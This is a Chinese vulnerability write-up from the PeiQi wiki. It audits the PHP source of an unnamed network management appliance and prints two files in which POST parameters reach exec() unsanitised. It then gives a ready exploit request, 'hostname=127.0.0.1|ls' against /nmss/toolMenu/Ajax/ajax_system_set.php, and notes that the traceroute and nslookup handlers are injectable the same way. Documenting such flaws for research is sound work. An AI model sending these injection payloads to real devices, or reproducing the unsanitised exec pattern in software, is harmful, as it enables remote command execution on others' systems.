Skip to content

Latest commit

 

History

History
562 lines (463 loc) · 18.2 KB

某管理系统快速代码审计.md

File metadata and controls

562 lines (463 loc) · 18.2 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

**:漏洞思路🐑**

渗透的时候拿到了一个设备的源码

这里的代码为 PHP, 一般很多设备存在 判断网络连接的模块,所以可以通过工具快速寻找存在命令拼接的地方

这里存在两个文件含有这个模块

第一个文件 ajax_cloud_router_config.php

<?php
include_once "tnmp.php";
include_once "tnmp_cloud_pack.php";
$i =6;
define(CLOUD_HELLO_CONFIG_CHOOSE, $i++);
define(T_ROUTER_CONFIG, "C1a3L1L1L1");
define(T_ROUTER_CONFIG_UNPACK, "C1flag/a3reserve/L1ipaddr_wan/L1ipaddr_local_area_netmork/L1port_for_roouter");
define(T_ROUTER_CONFIG_LEN, 16);
$i=1;
define(INFO_GET, $i++);/*获取上次保存的端口映射配置信息*/
define(PORT_MAPPING_CONFIG, $i++); /*手动配置*/
define(AUTOATIC_CONFIGURATION, $i++);/*自动配置*/

function tnmp_router_config_info_get(&$config_info, &$config_info_len){
    global $g_msg;
    tnmp_cloud_command(CLOUD_HELLO_CONFIG_CHOOSE, 0, INFO_GET, strlen($param), $param);
    $len = strlen($g_msg);
    if($len<=0){
        $str = "配置读取失败!";
        echo tnmp_json_encode($str);
        return ;
    }
    $data = unpack(T_ROUTER_CONFIG_UNPACK, substr($g_msg, 0, T_ROUTER_CONFIG_LEN));
    $config_info = new cloud_router_config($data);
    $config_info_len = $len;
    return;
}
class cloud_router_config{
    var $flag;
    var $reserve;
    var $ipaddr_wan;
    var $ipaddr_local_area_netmork;
    var $port_for_roouter;
    function __construct($ary){
        $this->flag = $ary[flag];
        $this->reserve = $ary[reserve];
        $this->ipaddr_wan = long2ip($ary[ipaddr_wan]);
        $this->ipaddr_local_area_netmork = long2ip($ary[ipaddr_local_area_netmork]);
        $this->port_for_roouter = $ary[port_for_roouter];
    }
}

if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    switch ($cmd){
        case INFO_GET:
            tnmp_router_config_info_get($config_info, $config_info_len);
            echo $config_info->port_for_roouter."||".$config_info->flag."||".$config_info->ipaddr_local_area_netmork."||".$config_info->ipaddr_wan;
            //echo  tnmp_json_encode($config_info);
            break;
        case PORT_MAPPING_CONFIG:
            if(isset($_POST['obj'])&&isset($_POST['net_ipaddr'])&&isset($_POST['flag'])){
                $obj = $_POST['obj'];
                $obj = str_replace('\\','', $obj);
                $obj = json_decode($obj);
                $ipaddr_wan = $obj->router_ip;
                $port_for_roouter = $obj->router_port;
                $ipaddr_local_area_netmork = $_POST['net_ipaddr'];
                $flag = $_POST['flag'];
                $param ="";
                $param.=pack(T_ROUTER_CONFIG, $flag, $reserve, ip2long($ipaddr_wan), ip2long($ipaddr_local_area_netmork), $port_for_roouter);
                tnmp_cloud_command(CLOUD_HELLO_CONFIG_CHOOSE, 0, PORT_MAPPING_CONFIG, strlen($param), $param);
                $str_flag = 1;
                echo  $str_flag;
            }
            break;
        case AUTOATIC_CONFIGURATION:
            $str = "自动配置尚未实现!";
            echo tnmp_json_encode($str);
            break;
        default:
            break;
    }
}
/*调用PING命令检测路由器是否可达*/
if(isset($_POST['ping_cmd'])){
    $aa = $_POST['ping_cmd'];
    exec("ping -c 4 ".$aa, $out_info, $status);
    echo $out_info[7];
}



/*
if(isset($_POST['obj'])&&isset($_POST['net_ipaddr'])&&isset($_POST['flag_operating'])&&isset($_POST['flag'])){
    $obj = $_POST['obj'];
    $obj = str_replace('\\','', $obj);
    $obj = json_decode($obj);
    $ipaddr_wan = $obj->router_ip;
    $port_for_roouter = $obj->router_port;
    $ipaddr_local_area_netmork = $_POST['net_ipaddr'];
    $flag_operating = $_POST['flag_operating'];
    $flag = $_POST['flag'];
    $param ="";
    $param.=pack(T_ROUTER_CONFIG, $flag, $flag_operating, $reserve[2], ip2long($ipaddr_wan), ip2long($ipaddr_local_area_netmork), $port_for_roouter);
    tnmp_cloud_command(CLOUD_HELLO_CONFIG_CHOOSE, 0, PORT_MAPPING_CONFIG, strlen($param), $param);
    echo  ip2long($ipaddr_local_area_netmork)."||".$_POST['net_ipaddr'];
}*/

?>

重点关注的位置

这里直接 POST 参数 ping_cmd 赋值给 $aa, 再通过 exec 命令执行

我们只需要使用 | ,就可以拼接执行命令

再看另一个文件

<?php
include_once '../../../global.php';
include_once TG_WEB_DIR . "tnmp/tnmp.php";
include_once TG_WEB_DIR . "tnmp/tnmp_system.php";
include_once TG_WEB_DIR . "tnmp/ap_tnmp_wlan_pack.php";
include_once TG_WEB_DIR . "tnmp/ap_tnmp_system.php";
function clear_dat($file_name)
{
    if (file_exists($file_name)) 
    {
        unlink($file_name);
    }
}

function tnmp_visitor_account_openrate($cid = null,$data)
{
    if(isset($data->uid))
    {
        if (isset($data->username)) {
            $param = pack('C1C1a2a16a16L1',$data->uid,1,0,$data->username,$data->password,0);
        }
        else
        {
            $param = pack('C1C1a2a16a16L1',$data->uid,1,0,0,0,0);
        }


    }
    else 
    {
        $param = pack('C1C1a2a16a16L1',0,1,0,$data->username,$data->password,0);
    }
    global $g_msg;
    tnmp_system_udp_command(SYSTEM_ACCOUNT_CMD, 0, $cid, strlen($param), $param, 0);
    if(strlen($g_msg) != 0)
    {
        $rv = unpack('C1error',$g_msg);
        return $rv['error'];
    }
    else
    {
       return 0;
    }

}

define('ST_VISITOR_ACCOUNT_INFO','C1uid/C1valid/A2reserve/A16username/A16password/L1last_time');
define('ST_VISITOR_ACCOUNT_INFO_LEN',40);
function tnmp_visitor_account_get()
{
    global $g_msg;

    tnmp_system_udp_command(SYSTEM_ACCOUNT_CMD, 0, SYSTEM_VISITOR_ACCOUNT_GET);

    $count = (int)(strlen($g_msg)/ST_VISITOR_ACCOUNT_INFO_LEN);

    for($i = 0; $i < $count; $i ++)
    {
        $arr[$i] = unpack(ST_VISITOR_ACCOUNT_INFO, substr($g_msg, $i*ST_VISITOR_ACCOUNT_INFO_LEN, ST_VISITOR_ACCOUNT_INFO_LEN));
        if($arr[$i]['last_time'] == 0)
        {
            $arr[$i]['last_time'] = '00-00 00:00';
        }
        else
        {
            $arr[$i]['last_time'] = date("m-d H:i",$arr[$i]['last_time']);
        }

    }

    return $arr;
}



define('ST_WIZARD_CONFIG_INFO', 'C1nettype/A3reserve/N1gateway/N1ipaddr/N1netmask/N1primaryDns/N1secondaryDns');

function sys_web_wizard_config_get(&$info)
{
    global $g_msg;
    tnmp_system_udp_command(SYSTEM_SYSTEM_CMD, 0,SYSTEM_WEB_WIZARD_GET);
    if(strlen($g_msg) <= 0)
        return 0;

    $data = unpack(ST_WIZARD_CONFIG_INFO, substr($g_msg, 0, 24));
    for($i = 0; $i<4;$i ++)
    {
        $data[$i] = unpack('a32ssid/C1encrypt/a3reserve1/a32key',substr($g_msg,24+$i*68,68));

        $data[$i]['ssid'] = trim($data[$i]['ssid']);
        $data[$i]['key'] = trim($data[$i]['key']);

    }

    $info = tnmp_array_to_object($data);
    $info->gateway = long2ip($info->gateway);
    $info->ipaddr = long2ip($info->ipaddr);
    $info->netmask = long2ip($info->netmask);
    $info->primaryDns = long2ip($info->primaryDns);
    $info->secondaryDns = long2ip($info->secondaryDns);

}

function auto_get_client_ip()
{
    $param = pack('C1',1);
    tnmp_system_udp_command_no_reply(SYSTEM_SYSTEM_CMD, 0, SYSTEM_AUTO_GET_IP, strlen($param), $param);
}

$cmd = $_POST["cmd"];

switch($cmd)
{
    case "set_password":    
        $psw = $_POST["p"];
        $psw1= $_POST["p1"];
        $uname= $_POST["uname"];

        tnmp_system_account_get_nmsn($username, $password);
        if($psw != $password)
        {
            echo "error";
            exit(-1);
        }

        $psw1 .= "\0";
        if(!tnmp_system_account_set_nmsn($uname, $psw1))
        {
            session_start(); 
            $ip = getenv('REMOTE_ADDR');
            $log_chinese = "修改密码。";
            $log_english = "Modify password.";
            echo TNMP_REPLY_SUCCESS;
        }
        else
        {
            echo "error";
        }

        break;

    case "reboot_system":
        session_start(); 
        $ip = getenv('REMOTE_ADDR');
        $log_chinese = "重启主机。";
        $log_english = "Restart the host.";
        tnmp_system_reboot_nmsn();
        echo TNMP_REPLY_SUCCESS;
        break;

    case "start_pc_scan":
        tnmp_start_pc_scan();
        echo TNMP_REPLY_SUCCESS;
        break;

    case "get_language":
        $lang = vs_get_language();
        echo $lang;
        break;

    case "set_language":
        $lang = $_POST["language"];
        vs_set_language($lang);
        break;

    case "exchange_language":
        $language = vs_exchange_language_set();
        $language == "CH" ? $language = 0 : $language = 1;
        tnmp_system_language_set_nmsn($language);
        $poe_diag_result = "poe_diag_result.dat";
        $diag_result = "diag_result.dat";
        clear_dat($poe_diag_result);
        clear_dat($diag_result);
        break;

    case "deletePicture":
        tnmp_user_command_no_reply(USER_NETBAR_CMD, 0, AC_NETBAT_VIEW_CONFIG_CANCEL, strlen($param), $param, 0);
        tnmp_system_config_save();
        break;

  case "SYSTEM_TIMEZONE_SET":
    $data = $_POST["data"];

    $data = str_replace('\"', '"', $data);
    $obj=json_decode($data);
    $tzinfo = pack("a16a64a64a64",$obj->timezone,$obj->server1,$obj->server2,$obj->server3);
    tnmp_system_timezone_set($tzinfo);
    echo "success";
    break;
  case "SYSTEM_UPDATE_BROWSE_TIME":
    $browsetime = $_POST["browsetime"];
    tnmp_system_update_browse_time($browsetime);
    echo "success";
    break;
  case "SYSTEM_SYS_TIME_GET":
    tnmp_system_sys_time_get($systime);
    echo $systime;
    break;
    case 'visitor_account_add':
        $data = tnmp_json_decode($_POST["data"]);

        $rv = tnmp_visitor_account_openrate(SYSTEM_VISITOR_ACCOUNT_ADD, $data);

        if($rv != 0)
        {
            echo "error";
        }else
        {
             echo "success";
        }

        break;  
    case 'visitor_account_get':
        $rv = tnmp_visitor_account_get();
        echo json_encode($rv);
        break;
    case 'visitor_account_set':
        $data = tnmp_json_decode($_POST["data"]);
        $rv = tnmp_visitor_account_openrate(SYSTEM_VISITOR_ACCOUNT_SET, $data);
        echo "success";
        break;
    case 'visitor_account_del':
        $data = tnmp_json_decode($_POST["data"]);
        $rv = tnmp_visitor_account_openrate(SYSTEM_VISITOR_ACCOUNT_DEL, $data);
        echo "success";
        break;
  case "save_all_config_set":
        tnmp_system_config_save_nmsn();
        break;
  case "ping_hostname":
    $hostname = $_POST["hostname"];
    $packetsize = $_POST["packet_size"];
    $count = $_POST["count"];
    $errorEn = array("Not found DNS(8.8.8.8). can not resolve the domain name.");
    $errorCh = array("Not found DNS(114.114.114.114). can not resolve the domain name.");
    $haveEn = $_POST["haveEn"];
    /*如果输入的是域名*/
    if($haveEn == 1){
      /*先判断DNS服务器是否有响应*/
      if($TGCP_LANGUAGE == "EN"){
        /*如果使用的是英文版,使用谷歌DNS*/
        exec("ping -c $count -W 1 -s $packetsize 8.8.8.8", $haveInet);
      }else{
        /*使用中文版,使用中国DNS*/
        exec("ping -c $count -W 1 -s $packetsize 114.114.114.114", $haveInet);
      }

      if (in_array("4 packets transmitted, 0 packets received, 100% packet loss", $haveInet))
      {
          if($TGCP_LANGUAGE == "EN"){
          echo tnmp_json_encode_utf8($errorEn);
        }else{
          echo tnmp_json_encode_utf8($errorCh);
        }
      }else{
        exec("ping -c $count -W 1 -s $packetsize $hostname", $result);
        echo tnmp_json_encode_utf8($result);
      }

      return;
    }

    exec("ping -c $count -W 1 -s $packetsize $hostname", $result);
    echo tnmp_json_encode_utf8($result);
    break;
  case "kill_ping":
    exec("killall -9 ping");
    echo "success";
    break;
  case "traceroute_hostname":
    $hostname = $_POST["hostname"];
    $haveEn = $_POST["haveEn"];
    $errorEn = array("Not found DNS(8.8.8.8). can not resolve the domain name.");
    $errorCh = array("Not found DNS(114.114.114.114). can not resolve the domain name.");

    exec("traceroute -q 1 -w 2 -n $hostname", $result);
    echo tnmp_json_encode_utf8($result);
    break; 
  case "kill_traceroute":
    exec("killall -9 traceroute");
    echo "success";
    break;

  case "nslookup_hostname":
    $hostname = $_POST["hostname"];
    $haveEn = $_POST["haveEn"];
    $errorEn = array("Not found DNS(8.8.8.8). can not resolve the domain name.");
    $errorCh = array("Not found DNS(114.114.114.114). can not resolve the domain name.");

    if($haveEn == 1){
      /*先判断DNS服务器是否有响应*/
      if($TGCP_LANGUAGE == "EN"){
        /*如果使用的是英文版,使用谷歌DNS*/
        exec("ping -c 4 -W 1 -s 56 8.8.8.8", $haveInet);
      }else{
        /*使用中文版,使用中国DNS*/
        exec("ping -c 4 -W 1 -s 56 114.114.114.114", $haveInet);
      }

      if (in_array("4 packets transmitted, 0 packets received, 100% packet loss", $haveInet))
      {
          if($TGCP_LANGUAGE == "EN"){
          echo tnmp_json_encode_utf8($errorEn);
        }else{
          echo tnmp_json_encode_utf8($errorCh);
        }
      }else{
        exec("nslookup $hostname", $result);
        echo tnmp_json_encode_utf8($result);
      }
      return;
    }

    exec("nslookup $hostname", $result);
    echo tnmp_json_encode_utf8($result);
    break; 
  case "kill_nslookup":
    exec("killall -9 nslookup");
    echo "success";
    break;
    case 'web_wizard_config_get':
        sys_web_wizard_config_get($data);

        echo tnmp_json_encode_utf8($data);
        break; 
    case 'web_wizard_config_set':
        $data = str_replace('\"', '"', $_POST["data"]);    /*解决JSON传过来的数据,无法被解析的问题*/
        $data = json_decode($data,true);

        $param = pack("C1a3N1N1N1N1N1",$data["nettype"],0,ip2long($data["gateway"]),
            ip2long($data["ipaddr"]),ip2long($data["netmask"]),ip2long($data["primaryDns"]),
            ip2long($data["secondaryDns"]));
        for($i = 1; $i <= 4; $i ++)
        {
            $param .= pack("a32C1a3a32",$data[$i]["ssid"],$data[$i]["encrypt"],0,$data[$i]["key"]);
        }

        tnmp_system_udp_command(SYSTEM_SYSTEM_CMD, 0, SYSTEM_WEB_WIZARD_SET, strlen($param), $param, 0);
        echo 'success';
        break; 
    case 'auto_get_ip':
        auto_get_client_ip();
        break;
    case 'web_dafault_pw_set':
        $un = $_POST["un"];
        $pw = $_POST["pw"];
        $pw .= "\0";
        if(!tnmp_system_account_set_nmsn($un, $pw))
        {
            echo 'success';
        }
        else
        {
            echo "error";
        }
        break;
    default:
        echo "unknow cmd";
        break;
}

?>

switch($cmd) 中的 $cmd 是可控的,可以通过传参选择分支执行

ping_hostname 模块

构造 POST 请求

/nmss/toolMenu/Ajax/ajax_system_set.php

cmd=ping_hostname&hostname=127.0.0.1|ls&packet_size=56&count=4&haveEn=1

traceroute_hostname 模块

nslookup_hostname 模块

二:  关于文库🦉

在线文库:

http://wiki.peiqi.tech

Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC

最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了 Github 下载完给个小星星⭐

同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球里会持续发布一些漏洞公开信息和技术文章~

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

PeiQi 文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。